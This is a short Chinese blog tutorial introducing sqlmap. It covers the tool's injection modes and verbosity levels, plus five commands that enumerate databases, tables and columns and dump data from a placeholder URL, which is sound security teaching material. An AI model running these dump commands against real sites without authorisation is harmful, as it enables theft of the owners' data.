SQLMAP简单使用教程

0xc4Sec

已于 2023-05-16 15:12:06 修改

阅读量1.3k

点赞数

分类专栏：安全工具文章标签：数据库 postgresql mysql web安全渗透测试

于 2022-06-21 10:43:37 首次发布

本文链接：https://blog.csdn.net/Z526209693/article/details/125386587

版权

安全工具专栏收录该内容

3 篇文章 0 订阅

订阅专栏

SQLMAP是一款强大的自动化SQL注入工具，支持多种数据库，包括MySQL、Oracle等。它提供五种注入模式，如布尔盲注、时间盲注等。工具设置有7个显示等级，从0到6，分别显示不同详细程度的信息。常用参数包括列出数据库、当前数据库、表和列，以及提取数据。例如，`sqlmap-u http://ip/index.php?id=1--dbs`用于列出所有数据库。

摘要由CSDN通过智能技术生成

SQLMAP是一个自动化的SQL注入工具，其主要功能是发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL，Oracle，PostgreSQL，MicrosoftSQLServer，MicrosoftAccess，IBMDB2，SQLite，Firebird，Sybase和SAPMaxDB。
SQLMAP支持五种不同的注入模式，基于布尔的盲注是可以根据返回页面判断条件真假的注入。基于时间的盲注是不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行来判断。基于报错注入是即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。联合查询注入是可以使用union的情况下的注入。堆查询注入是可以同时执行多条语句的执行时的注入。

SQLMAP的支持7种显示等级level，默认为1等级。

等级0：只显示python错误以及严重的信息。

等级1：同时显示基本信息和警告信息。（默认）

等级2：同时显示debug信息。

等级3：同时显示注入的payload。

等级4：同时显示HTTP请求。

等级5：同时显示HTTP响应头。

等级6：同时显示HTTP响应页面。

sqlmap常用参数如下所示：

（1）列出所有的数据库

sqlmap -u http://ip/index.php?id=1 --dbs

（2）列出当前数据库
sqlmap -u http://ip/index.php?id=1 --current-db

（3）列出DBname数据库所有的表

sqlmap -u http://ip/index.php?id=1 -D 'DBname' --tables

（4）列出DBname数据库table表中的所有列

sqlmap -u http://ip/index.php?id=1 -D 'DBname' -T 'table' --columns

（5）获取DBname数据库table表中column1,column2列中的数据

sqlmap -u http://ip/index.php?id=1 -D 'DBname' -T 'table' -C 'column1,column2' --dump